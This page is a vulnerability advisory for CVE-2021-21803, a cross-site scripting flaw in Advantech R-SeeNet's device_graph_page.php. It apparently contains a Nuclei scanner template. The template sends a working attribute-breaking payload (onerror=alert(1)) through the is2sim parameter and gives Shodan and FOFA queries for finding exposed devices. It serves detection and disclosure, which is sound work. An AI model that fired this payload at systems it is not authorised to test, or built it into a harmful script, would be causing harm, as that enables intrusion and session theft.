CVE-2021-21803: Advantech R-SeeNet - Cross-Site Scripting

2025-08-01 Advantech R-SeeNet PoC Public

Description

Advantech R-SeeNet is vulnerable to cross-site scripting via the device_graph_page.php script via the is2sim parameter. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution.

PoC

id: CVE-2021-21803

info:
  name: Advantech R-SeeNet - Cross-Site Scripting
  author: gy741
  severity: medium
  description: Advantech R-SeeNet is vulnerable to cross-site scripting via the device_graph_page.php script via the is2sim parameter. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Advantech to mitigate this vulnerability.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21803
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-21803
    cwe-id: CWE-79
    epss-score: 0.07902
    epss-percentile: 0.94414
    cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: advantech
    product: r-seenet
    shodan-query: http.html:"r-seenet"
    fofa-query: body="r-seenet"
  tags: cve2021,cve,rseenet,xss,advantech,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/php/device_graph_page.php?is2sim=%22zlo%20onerror=alert(1)%20%22'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"zlo onerror=alert(1) "'
          - 'Device Status Graph'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e2ba0adc82be80331b964f66f1e7b82ef80e1ed94c95ba7d0e96154342b5be150221008e457a67dc8a8fb041aa727b6d1dd701dea3ae31d6ae763c19b13ef56c558bef:922c64590222798bb761d5b6d8e72950

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